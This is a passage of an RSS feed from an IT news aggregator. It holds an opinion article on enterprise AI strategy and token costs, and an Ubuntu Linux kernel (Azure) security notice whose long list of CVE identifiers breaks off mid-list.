<description><![CDATA[I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has ...]]></description>
<link>https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</guid>
<pubDate>Fri, 24 Jul 2026 13:04:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.</p>



<p class="wp-block-paragraph">The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.</p>



<h2 class="wp-block-heading"><a></a>AI as a leadership multiplier</h2>



<p class="wp-block-paragraph">The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.</p>



<p class="wp-block-paragraph">When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”</p>



<p class="wp-block-paragraph">Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.</p>



<p class="wp-block-paragraph">Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.</p>



<p class="wp-block-paragraph">When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.</p>



<p class="wp-block-paragraph">The requirement for top-down, executive ownership stems from three critical realities observed in the field:</p>



<ul class="wp-block-list">
<li><strong>Silo-smashing and data collaboration:</strong> True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.</li>



<li><strong>Cultural transformation and fear mitigation:</strong> AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.</li>



<li><strong>C-Suite education and strategic alignment:</strong> The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html">PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI</a>. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across <em>strategic decision-making and cross-functional workflows</em>. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.</p>



<h2 class="wp-block-heading"><a></a>AI as a new operational framework</h2>



<p class="wp-block-paragraph">Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.</p>



<p class="wp-block-paragraph">AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.</p>



<p class="wp-block-paragraph">Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.</p>



<p class="wp-block-paragraph">In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.</p>



<p class="wp-block-paragraph">To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, <a href="https://arxiv.org/pdf/2604.22750">your business is billed dynamically based on the exact volume of tokens consumed</a> by every query submitted (input) and every response generated (output).</p>



<p class="wp-block-paragraph">Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.</p>



<p class="wp-block-paragraph">The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.</p>



<h2 class="wp-block-heading">Risks in the AI adoption model</h2>



<p class="wp-block-paragraph">Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).</p>



<p class="wp-block-paragraph">I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. <a href="https://www.bain.com/insights/your-ai-budget-is-growing-your-returns-arent-heres-why/">Bain &amp; Company’s global Automation and AI Pathfinder Survey </a>found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.</p>



<p class="wp-block-paragraph">Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.</p>



<p class="wp-block-paragraph">Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from <em>“How much money will AI save us?”</em> to <em>“How will we leverage AI to exponentially increase the long-term value of our enterprise?”</em></p>



<p class="wp-block-paragraph">Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.</p>



<p class="wp-block-paragraph">As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8603-1: Linux kernel (Azure) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691319/unix-server/usn-8603-1-linux-kernel-azure-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691319/unix-server/usn-8603-1-linux-kernel-azure-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 13:02:31 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - x86 platform drivers;
  - PSP security protocol;
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - User-Mode Linux (UML);
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Intel NPU Driver;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Auxiliary display drivers;
  - Drivers core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - Buffer Sharing and Synchronization framework;
  - DPLL subsystem;
  - EDAC drivers;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - FWCTL subsystem;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Microsoft Hyper-V drivers;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - I3C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device core drivers;
  - IOMMU subsystem;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - NVIDIA Tegra memory controller driver;
  - IBM Advanced System Management driver;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Texas Instruments network drivers;
  - MediaTek network drivers;
  - NTB driver;
  - NVME drivers;
  - Device tree and open firmware driver;
  - Parport drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - Chrome hardware platform drivers;
  - ACPI WMI driver;
  - Generic PM domains;
  - MediaTek PM domains;
  - Power supply drivers;
  - Remote Processor subsystem;
  - MPAM driver;
  - Amlogic Meson reset controller drivers;
  - S/390 drivers;
  - SCSI subsystem;
  - NVIDIA Tegra Control Backbone (CBB) driver;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - Thunderbolt and USB4 drivers;
  - TTY drivers;
  - Userspace I/O drivers;
  - USB Device Class drivers;
  - ULPI bus;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Dual Role (OTG-ready) Controller drivers;
  - USB Serial drivers;
  - USB Type-C support driver;
  - USB Type-C Port Controller Manager driver;
  - TI TPS6598x USB Power Delivery controller driver;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM AMD SEV Guest driver;
  - Xen hypervisor drivers;
  - 9P distributed file system;
  - File systems infrastructure;
  - AFS file system;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - HugeTLB file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Overlay file system;
  - Diskquota system;
  - SMB network file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - DRM TTM subsystem;
  - Codetag library;
  - Control group (cgroup);
  - Kernel CPU control infrastructure;
  - Memory management;
  - Tracing infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Freescale ENETC Ethernet drivers;
  - Memory Management;
  - KVM subsystem;
  - Linked list library;
  - Netfilter;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Bluetooth subsystem;
  - Networking core;
  - Network shaper API;
  - Network traffic control;
  - TCP network protocol;
  - XFRM subsystem;
  - User-space API (UAPI);
  - io_uring subsystem;
  - IPC subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - DMA mapping infrastructure;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - IRQ subsystem;
  - Kexec HandOver (KHO);
  - Locking primitives;
  - Padata parallel execution mechanism;
  - Scheduler infrastructure;
  - Timer subsystem;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KProbes tracing;
  - KASAN memory debugging framework;
  - 802.1Q VLAN protocol;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Distributed Switch Architecture;
  - Ethtool driver;
  - Handshake API;
  - HSR network protocol;
  - IPv4 networking;
  - IPv6 networking;
  - IUCV driver;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Multipath TCP;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - Integrity Measurement Architecture(IMA) framework;
  - Key management;
  - Landlock security;
  - Linux Security Modules (LSM) Framework;
  - SELinux security module;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - FourSemi audio codecs;
  - Texas InstrumentS Audio (ASoC/HDA) drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2026-31532, CVE-2026-31574, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31579, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31589, CVE-2026-31590, CVE-2026-31591, CVE-2026-31592,
CVE-2026-31593, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31600,
CVE-2026-31601, CVE-2026-31602, CVE-2026-31603, CVE-2026-31604,
CVE-2026-31605, CVE-2026-31606, CVE-2026-31607, CVE-2026-31608,
CVE-2026-31609, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31614, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31620,
CVE-2026-31621, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31686, CVE-2026-31694, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31703, CVE-2026-31704,
CVE-2026-31705, CVE-2026-31706, CVE-2026-31707, CVE-2026-31708,
CVE-2026-31709, CVE-2026-31710, CVE-2026-31711, CVE-2026-31712,
CVE-2026-31713, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31717, CVE-2026-31718, CVE-2026-31719, CVE-2026-43058,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43348,
CVE-2026-43349, CVE-2026-43350, CVE-2026-43490, CVE-2026-43491,
CVE-2026-43492, CVE-2026-43493, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43498, CVE-2026-43499, CVE-2026-43501,
CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836,
CVE-2026-45837, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45845, CVE-2026-45846, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45988, CVE-2026-45989, CVE-2026-45990, CVE-2026-45991,
CVE-2026-45994, CVE-2026-45995, CVE-2026-45996, CVE-2026-45997,
CVE-2026-45999, CVE-2026-46001, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46008, CVE-2026-46009, CVE-2026-46010, CVE-2026-46011,
CVE-2026-46012, CVE-2026-46013, CVE-2026-46014, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46020,
CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46025, CVE-2026-46026, CVE-2026-46027, CVE-2026-46028,
CVE-2026-46029, CVE-2026-46030, CVE-2026-46031, CVE-2026-46032,
CVE-2026-46033, CVE-2026-46034, CVE-2026-46035, CVE-2026-46036,
CVE-2026-46037, CVE-2026-46038, CVE-2026-46039, CVE-2026-46040,
CVE-2026-46041, CVE-2026-46042, CVE-2026-46043, CVE-2026-46044,
CVE-2026-46045, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46054, CVE-2026-46056, CVE-2026-46057, CVE-2026-46058,
CVE-2026-46059, CVE-2026-46060, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46066,
CVE-2026-46067, CVE-2026-46068, CVE-2026-46069, CVE-2026-46070,
CVE-2026-46071, CVE-2026-46072, CVE-2026-46073, CVE-2026-46074,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46081, CVE-2026-46082,
CVE-2026-46083, CVE-2026-46084, CVE-2026-46085, CVE-2026-46086,
CVE-2026-46087, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46093, CVE-2026-46094,
CVE-2026-46095, CVE-2026-46096, CVE-2026-46097, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46100, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46104, CVE-2026-46105, CVE-2026-46106,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46109, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46118,
CVE-2026-46119, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122,
CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126,
CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46130,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46134,
CVE-2026-46135, CVE-2026-46136, CVE-2026-46137, CVE-2026-46138,
CVE-2026-46139, CVE-2026-46140, CVE-2026-46141, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46147, CVE-2026-46148, CVE-2026-46149, CVE-2026-46150,
CVE-2026-46151, CVE-2026-46152, CVE-2026-46153, CVE-2026-46154,
CVE-2026-46155, CVE-2026-46156, CVE-2026-46157, CVE-2026-46158,
CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46162,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46165, CVE-2026-46166,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46169, CVE-2026-46170,
CVE-2026-46171, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46175, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46179, CVE-2026-46180, CVE-2026-46181, CVE-2026-46182,
CVE-2026-46183, CVE-2026-46184, CVE-2026-46185, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46188, CVE-2026-46189, CVE-2026-46190,
CVE-2026-46191, CVE-2026-46192, CVE-2026-46193, CVE-2026-46194,
CVE-2026-46195, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46202,
CVE-2026-46203, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46210,
CVE-2026-46211, CVE-2026-46212, CVE-2026-46213, CVE-2026-46214,
CVE-2026-46215, CVE-2026-46216, CVE-2026-46218, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46221, CVE-2026-46222, CVE-2026-46223,
CVE-2026-46224, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227,
CVE-2026-46228, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46239, CVE-2026-46240,
CVE-2026-46241, CVE-2026-46242, CVE-2026-46243, CVE-2026-46244,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46276,
CVE-2026-46277, CVE-2026-46278, CVE-2026-46279, CVE-2026-46280,
CVE-2026-46281, CVE-2026-46282, CVE-2026-46283, CVE-2026-46284,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46288,
CVE-2026-46289, CVE-2026-46290, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46295, CVE-2026-46296,
CVE-2026-46297, CVE-2026-46298, CVE-2026-46299, CVE-2026-46301,
CVE-2026-46302, CVE-2026-46303, CVE-2026-46304, CVE-2026-46305,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46308, CVE-2026-46309,
CVE-2026-46310, CVE-2026-46311, CVE-2026-46312, CVE-2026-46313,
CVE-2026-46314, CVE-2026-46315, CVE-2026-46316, CVE-2026-46317,
CVE-2026-46318, CVE-2026-46319, CVE-2026-46320, CVE-2026-46321,
CVE-2026-46322, CVE-2026-46324, CVE-2026-46332, CVE-2026-52904,
CVE-2026-52905, CVE-2026-52906, CVE-2026-52907, CVE-2026-52911,
CVE-2026-52912, CVE-2026-52913, CVE-2026-52914, CVE-2026-52915,
CVE-2026-52916, CVE-2026-52918, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52923, CVE-2026-52925,
CVE-2026-52926, CVE-2026-52927, CVE-2026-52928, CVE-2026-52931,
CVE-2026-52932, CVE-2026-52933, CVE-2026-52934, CVE-2026-52936,
CVE-2026-52937, CVE-2026-52941, CVE-2026-52943, CVE-2026-52944,
CVE-2026-52949, CVE-2026-52950, CVE-2026-52951, CVE-2026-52952,
CVE-2026-52953, CVE-2026-52954, CVE-2026-52955, CVE-2026-52956,
CVE-2026-52957, CVE-2026-52958, CVE-2026-52959, CVE-2026-52960,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52965, CVE-2026-52967, CVE-2026-52968, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52971, CVE-2026-52973, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52976, CVE-2026-52977, CVE-2026-52978,
CVE-2026-52979, CVE-2026-52980, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52983, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52987, CVE-2026-52988, CVE-2026-52989, CVE-2026-52990,
CVE-2026-52991, CVE-2026-52992, CVE-2026-52993, CVE-2026-52994,
CVE-2026-52995, CVE-2026-52996, CVE-2026-52997, CVE-2026-52998,
CVE-2026-52999, CVE-2026-53000, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53005, CVE-2026-53006,
CVE-2026-53007, CVE-2026-53008, CVE-2026-53009, CVE-2026-53010,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53017, CVE-2026-53018,
CVE-2026-53019, CVE-2026-53020, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53024, CVE-2026-53025, CVE-2026-53026,
CVE-2026-53027, CVE-2026-53028, CVE-2026-53029, CVE-2026-53030,
CVE-2026-53031, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53038,
CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53042,
CVE-2026-53043, CVE-2026-53044, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53051, CVE-2026-53052, CVE-2026-53053, CVE-2026-53054,
CVE-2026-53055, CVE-2026-53056, CVE-2026-53057, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53067, CVE-2026-53068, CVE-2026-53069, CVE-2026-53070,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53076, CVE-2026-53077, CVE-2026-53078,
CVE-2026-53079, CVE-2026-53080, CVE-2026-53081, CVE-2026-53082,
CVE-2026-53083, CVE-2026-53084, CVE-2026-53085, CVE-2026-53086,
CVE-2026-53087, CVE-2026-53088, CVE-2026-53089, CVE-2026-53090,
CVE-2026-53091, CVE-2026-53092, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53095, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53099, CVE-2026-53100, CVE-2026-53101, CVE-2026-53102,
CVE-2026-53103, CVE-2026-53104, CVE-2026-53105, CVE-2026-53106,
CVE-2026-53107, CVE-2026-53108, CVE-2026-53109, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53113, CVE-2026-53114,
CVE-2026-53115, CVE-2026-53116, CVE-2026-53117, CVE-2026-53118,
CVE-2026-53119, CVE-2026-53120, CVE-2026-53121, CVE-2026-53122,
CVE-2026-53123, CVE-2026-53124, CVE-2026-53125, CVE-2026-53126,
CVE-2026-53127, CVE-2026-53128, CVE-2026-53129, CVE-2026-53130,
CVE-2026-53174, CVE-2026-53277, CVE-2026-53278, CVE-2026-53279,
CVE-2026-53280, CVE-2026-53281, CVE-2026-53282, CVE-2026-53283,
CVE-2026-53284, CVE-2026-53285, CVE-2026-53286, CVE-2026-53287,
CVE-2026-53288, CVE-2026-53289, CVE-2026-53290, CVE-2026-53291,
CVE-2026-53292, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53297, CVE-2026-53298, CVE-2026-53299,
CVE-2026-53300, CVE-2026-53301, CVE-2026-53302, CVE-2026-53303,
CVE-2026-53304, CVE-2026-53305, CVE-2026-53306, CVE-2026-53307,
CVE-2026-53308, CVE-2026-53309, CVE-2026-53310, CVE-2026-53311,
CVE-2026-53312, CVE-2026-53313, CVE-2026-53314, CVE-2026-53315,
CVE-2026-53316, CVE-2026-53317, CVE-2026-53318, CVE-2026-53319,
CVE-2026-53320, CVE-2026-53321, CVE-2026-53322, CVE-2026-53323,
CVE-2026-53324, CVE-2026-53357, CVE-2026-53358, CVE-2026-53360,
CVE-2026-53364, CVE-2026-53365, CVE-2026-53367, CVE-2026-53368,
CVE-2026-53369, CVE-2026-53370, CVE-2026-53371, CVE-2026-53372,
CVE-2026-53373, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53377, CVE-2026-53378, CVE-2026-53379, CVE-2026-53380,
CVE-2026-63837, CVE-2026-63838, CVE-2026-63839, CVE-2026-63840,
CVE-2026-63841, CVE-2026-63842, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63849, CVE-2026-63850, CVE-2026-63851, CVE-2026-63852,
CVE-2026-63853, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63857, CVE-2026-63858, CVE-2026-63859, CVE-2026-63860,
CVE-2026-63861, CVE-2026-63862, CVE-2026-63863, CVE-2026-63864,
CVE-2026-63865, CVE-2026-63866, CVE-2026-63875, CVE-2026-63876,
CVE-2026-63877, CVE-2026-63878, CVE-2026-63879, CVE-2026-63880,
CVE-2026-63881, CVE-2026-63882, CVE-2026-63883, CVE-2026-63884,
CVE-2026-63886, CVE-2026-63887, CVE-2026-63888, CVE-2026-63889,
